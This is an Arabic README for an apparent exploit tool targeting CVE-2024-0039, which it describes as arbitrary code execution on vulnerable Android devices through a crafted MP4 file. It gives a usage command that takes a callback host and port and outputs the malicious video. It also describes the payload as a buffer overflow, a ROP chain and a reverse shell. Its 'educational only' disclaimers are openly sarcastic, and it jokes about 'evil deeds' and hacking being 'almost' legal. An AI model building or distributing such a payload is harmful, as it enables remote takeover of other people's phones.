CVE-2024-0039-Exploit

الوصف

نص Python لاستغلال الثغرة CVE-2024-0039: تنفيذ كود عشوائي على أجهزة Android الضعيفة.

تحذير: هذا الكود مخصص فقط للتعليم والبناء، لخدمة الخير، إذا جاز التعبير!

الاستخدام

قم بتشغيل النص مع الوسائط اللازمة:

python exploit.py --cb-host <Ваш IP> --cb-port <Ваш порт> --output exploit.mp4

هيكل المشروع

• exploit.py: النص الرئيسي للاستغلال الذي ينشئ ملف MP4 ضار ويسجل عملية التنفيذ.
• logs/: سجل لأعمالك الشريرة التعليمية البناءة.
  • exploit.log:
• utils/: تم وضع المساعدات هنا لنظافة الكود
  • helpers.py
• tests/: الاختبارات (نلتزم بأفضل الممارسات)
  • exploit.test.py

ماذا يفعل هذا الكود:

الدالة create_malicious_payload

تنشئ حمولة ضارة تحتوي على سلسلة ROP واتصال عكسي (reverse shell).

• إنشاء سلسلة ROP: إعداد سلسلة ROP لتنفيذ كود عشوائي.
• إنشاء تجاوز سعة المخزن المؤقت (وملئه بالحرف 'A'): ملء المخزن المؤقت بالحرف 'A' لتجاوز السعة.
• إنشاء حمولة الاتصال العكسي (لا تجرب هذا في المنزل): إعداد الاتصال العكسي.

الدالة write_to_file

• نولد الخير في ملف

الجزء الرئيسي من الكود

• إنشاء الخير في ملف
• الكتابة إلى الملف
• رسالة نجاح إنشاء الملف

التسجيل

يتم حفظ السجلات في logs/exploit.log. يسجل إجراءات النص مثل إنشاء سلسلة ROP، تجاوز سعة المخزن المؤقت، الكتابة إلى الملف، وتنفيذ الاستغلال بنجاح.

ملاحظة

• جميع العناوين والأوامر في سلسلة ROP هي أمثلة ويجب تعديلها وفقًا للثغرة والهدف المحددين.
• هذا الكود مخصص للأغراض التعليمية فقط ولا ينبغي استخدامه في أنشطة غير مصرح بها.

الترخيص

هذا المشروع مرخص بموجب ترخيص MIT - راجع ملف LICENSE للحصول على التفاصيل. لأنه حتى الاختراق يجب أن يكون قانونيًا... حسنًا، تقريبًا.